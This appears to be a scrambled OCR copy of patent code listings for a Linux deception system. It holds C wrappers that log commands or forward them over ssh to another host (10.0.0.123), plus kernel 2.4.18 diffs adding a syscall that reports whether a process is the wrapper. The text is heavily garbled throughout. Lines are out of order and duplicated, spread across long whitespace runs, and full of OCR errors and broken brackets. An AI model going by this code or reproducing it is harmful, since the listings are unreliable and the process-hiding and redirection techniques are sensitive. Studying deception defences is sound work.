                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <unistd.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <ctype.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <errno.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "wrapper.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        printf("%s\n", NOLOGERRMSG);exit(1);)
                                                                                                                                                              perror("Exec failed");
                                                                                                                                                                                                                    err = execve(filename, argv, envp);
                                                                               fflush(stderr);fflush(stdout);return(-errno);}
                                                                                                                                   fprintf(stderr, "error:
                                                                                                                                                                                          LOGIT("-X-");
                                                                                                                                                                                                                                                 (LOGIT("");
                                                  (LOGIT("-A-"); fprintf(stderr, "%s\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (LOGIT("-S-");printf("%s\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            {LOGIT("-P-");printf("%s\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         (LOGIT("-L-"); if (getpid() < SYSPROCTHRESH)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 {LOGIT("-F-");printf("%s\n",
                                                                                                                                 %d,%d '%s'\n", err, errno,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    args
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (err
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            = execve(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         WAITERRMSG); exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   FORKERRMSG); exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    argc -= 1;filename = argv[argc];argv[argc] = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return -1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         err);perror("Ouch!!!");exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                NOMEMERRMSG); exit(1);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     GETWDERRMSG); exit(1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PIPEERRMSG); exit(1);}
                        PIPEERRMSG); exit(1);}
                                                                            FDERRMSG); exit(1);]
                                                                                                                                                                                                                                                                                                                                                                                                                   error\n");}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // Strip the original filename from the args array
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      #include
                                                                                                                                                                                                                       filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                if (! strncmp(filename, WRAPPER, strlen(WRAPPER))) {printf("Wrapping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          // Wrapping the wrapper could lead to an infinite loop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                FILE *logfp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #include <ctype.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          #include
                                                                                                                                     FORKERRMSG); exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (char *filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int main(int argc, char *argv[], char *envp[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 /* Argv: arguments to the original call & the original filename
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       finclude
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // # File wrapPLlog.c
                                                                                                                                                                                                                                                                                                                                                          err = pllog(filename, argc, argv);
                                                                                                                                                                                                                                                                                                                                      switch (err)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               envp);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     case FDERR: {LOGIT("-D-");printf("%s\n", FDERRMSG);exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             case PIPEERR:
                                                                                                                                                                                                                                                                                                                                                                                         (int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      default: (LOGIT("-0-");printf("Process Error %d\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          case NOMEMERR: (LOGIT("-M-");printf("%s\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             case GETWDERR: (LOGIT("-W-");printf("%s\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    case WAITERR:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              case FORKERR:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        case NOLOGERR: (LOGIT("-L-");if (getpid() < SYSPROCTHRESH) (err</pre>
                                                                                                         case FDERR: (LOGIT("-D-");fprintf(stderr, "%s\n",
  case WAITERR:
                                                                                                                                                                  case FORKERR:
                                                                                                                                                                                                                                                                                                          (case 1: case 0: {LOGIT("");err = execve(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     <stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "PL.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    <errno.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         <stdlib.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  <unistd.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          <string.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "wrapper.h"
                                                    PIPEERR:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printf("%s\n", NOLOGERRMSG);exit(1);)
                                                                                                                                                                                        fflush(stderr); fflush(stdout); return(-errno);)
                                                                                                                                                                                                                                                 fprintf(stderr, "error: %d,%d '%s'\n", err, errno.
                                                                                                                                                                                                                                                                         LOGIT("-X-");perror("Exec failed")
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             {LOGIT("-P-");printf("%s\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      {LOGIT("-S-");printf("%s\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                {LOGIT("-F-");printf("%s\n",
                                                                                                                                                              {LOGIT("-F-"); fprintf(stderr, "%s\n",
(LOGIT("-S-"); fprintf(stderr,
                                                  [LOGIT("-P-"); fprintf(stderr,
                                                      "%s\n"
"%s\n"
                                                                                                                                                                                                                                                                                                          argv,
                                                                                                                                                                                                                                                                                                          envp);
```

```
else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        char s[1024];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          char* newargv[1024];
                                                                                                                                                                                                                                                                                                                                                                                                                                                error\n");}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (! strncmp(filename, WRAPPER, strlen(WRAPPER))) (printf("Wrapping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        argv[argc] = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                filename = argv[argc];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          argc -= 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     GETWDERRMSG); exit(1);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               int main(int argc,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         return -1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 err);perror("Ouch!!!");exit(1);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   NOMEMERRMSG); exit(1); ]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // Strip the original filename from the args array
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      {char * filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               finclude
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #include <stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         finclude <unistd.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     // # File wrapSSH.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   include <string.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Argv:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Envp: environment strings
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              Wrapping the wrapper
                                newargv[2]=s;
                                                      newargv[1]="10.0.0.123";
                                                                                                                                                        getcwd(s+3, 1010);
        newargv[3]=NULL;
                                                                                  newargv[0]="/usr/local/bin/ssh";
                                                                                                      for(i=0;i<argc;i++) {strcat(s, " ");strcat(s, argv[i]);}</pre>
                                                                                                                                    strcat(s, ";");
                                                                                                                                                                                    sprintf(s, "cd ");
                                                                                                                                                                                                            pllog(filename, argc, argv);
                                                                                                                                                                                                                                                                                        printf("exiting:%d\n",
                                                                                                                                                                                                                                                                                                                  fflush(stderr);fflush(stdout);
                                                                                                                                                                                                                                                                                                                                                                    perror("Exec failed");
                                                                                                                                                                                                                                                                                                                                                                                        (int err;err = execve(filename, argv, envp);
                                                                                                                                                                                                                                                                                                                                        fprintf(stderr,
                                                                                                                                                                                                                                                                                                                                                                                                                  if (1 == ACallowed(filename))
                                                                                                                                                                                                                                      (int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       case NOLOGERR: {LOGIT("-L-");err = execve(filename, argv, envp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         case GETWDERR: {LOGIT("-W-");fprintf(stderr,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             case NOMEMERR:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       default: {LOGIT("-0-");fprintf(stderr,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         arguments to the original call & the original
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         <errno.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <ctype.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         <stdlib.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       "AC.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               "wrapper.h'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "PL.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 printf("%s\n", NOLOGERRMSG);exit(1);)
                                                                                                                                                                                                                                                                                                                                    "error: %d, %d\n", err,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         {LOGIT("-M-"); fprintf(stderr,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              could lead
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               *argv[],
                                                                                                                                                                                                                                                                                        -errno); return(-errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 from
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               char *envp[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               the original call
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              to an
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              infinite loop
                                                                                                                                                                                                                                                                                                                                        errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         *Process Error
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             "%s\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "%s\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       filename
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         %d\n",
                                                                                                                            < the flag is defined as WRAP_FLAG in
                                                                                                                                                                        < the wrappe; process has a flag set in the flags field of the
                                                                                                                                                                                                    < /*sys_ad -- checks if a certain pid is the actual wrapper</pre>
                                                                                                                                                                                                                                    83,114d53
                                                                                                                                                                                                                                                        < static LIST_HEAD(entries);
                                                                                                                                                                                                                                                                                                              RW_LOCK_UNLOCKED;
                                                                                                                                                                                                                                                                                                                                      < static rwlock_t entries_lock
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              < // For rec_misc_binary() (taken from binfmt_misc.c)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          58,77d48
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  < #define DEBUG_MEM 0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       # diff exec.c /u/usr/src/linux-2.4.18/fs/exec
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       perror("DTK");
                                                                                                                                                      task_struct.
                                                                                                                                                                                                                                                                                    < enum {Enabled, Magic};</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         Program changes for the module include:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         Program changes for wrapper include files:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             automatically modify the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               added from the original kernel file.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   the name of the new kernel file and which code
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               starting with '# diff' indicate first
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   changes made to a Linux 2.4.18 kernel
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return (-errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   indicated files as will be understood to persons of skill in the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   This code could be used with a patch command or program in Linux
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   the present invention and also to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       in order to implement a wrapper according to specific embodiments
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           The following series of 'diff' output describes an example of
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       implement other operating system modifications for deception.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     /* Example Kernel changes
                                                asmlinkage long sys_ad(int pid) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #include <linux/elf.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #include <linux/sched.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #include <asm/ptrace.h>
                                                                          /*** DTK(dcvn)---
                                                                                                                                                                                                                                                                                                                                                                  ) Node;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        typedef struct
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #define
                                                                                                                                                                                                                                                                                                                                                                                        struct dentry *dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    char *mask;
                            struct task_struct
                                                                                                                                                                                                                                                                                                                                                                                                                  char *name;
                                                                                                                                                                                                                                                                                                                                                                                                                                          char *interpreter;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            char *magic;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      int flags;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct list_head list;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   exec.c,
  if(current->uid) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int size;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int offset;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               ksyms.c, user.c, dnotify.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         err = execve("/usr/local/bin/ssh", newargv, envp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           DEBUGGING 0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   sched.h,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   process.c,
                                                                          start ***
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* size of magic/mask */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* type, status, etc.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /* offset of magic */
//if not root,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       // print debugging statements
                                                                                                                                                                                                                                                                                                                                                                                                                                                                mask, NULL for exact match */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /* magic or filename extension */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // For rec_elf_binary()
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     // need to access pt_regs fields
                                                                                                                                                                                                                                                                                                                                                                                                                                        /* filename of interpreter */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         // need WRAP_FLAG, WRAP_PATH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   entry.S
                                                                                                                                                                                                                                                                                                                                    __attribute__((unused))
  return original error
                                                                                                                              linux/sched.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       lines
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       are
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       deleted
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             code
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           Lines
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     ដ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       õ
```

```
279d213
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             228,229c168
                                                                                                                                                                                                                                                                                                        256d191
                                                                                                                                                                                                                                                                                                                                    >į)))
                                                                                                                                                                                                                                                                                                                                                                                                                                  >p))) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                               253,254c190
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 235d172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             233c171
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            231d169
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             226c166
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 221a161
                                                                                                                                                                                       >f_dentry->d_name.name);
                                              298d230
414,416c346
                                                                                                                                                                                                              (%s)\n", bprm->file-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /*** DTK (dcvn) ---
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        //printk(KERN_CRIT "sys_ad4\n");
return -ENOSYS; // otherwise return original error
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if(p->flags&WRAP_FLAG){ //if it's the wrapper return different
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if(p==NULL) ( //if no such pid, return standard error
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        p=find_task_by_pid(pid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return -ENOSYS;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          return -ENOSYS;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               //printk(KERN_CRIT *sys_ad1\n*);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return -EAGAIN;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    //printk(KERN_CRIT *sys_ad3\n*);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           //printk(KERN_CRIT "sys_ad2\n");
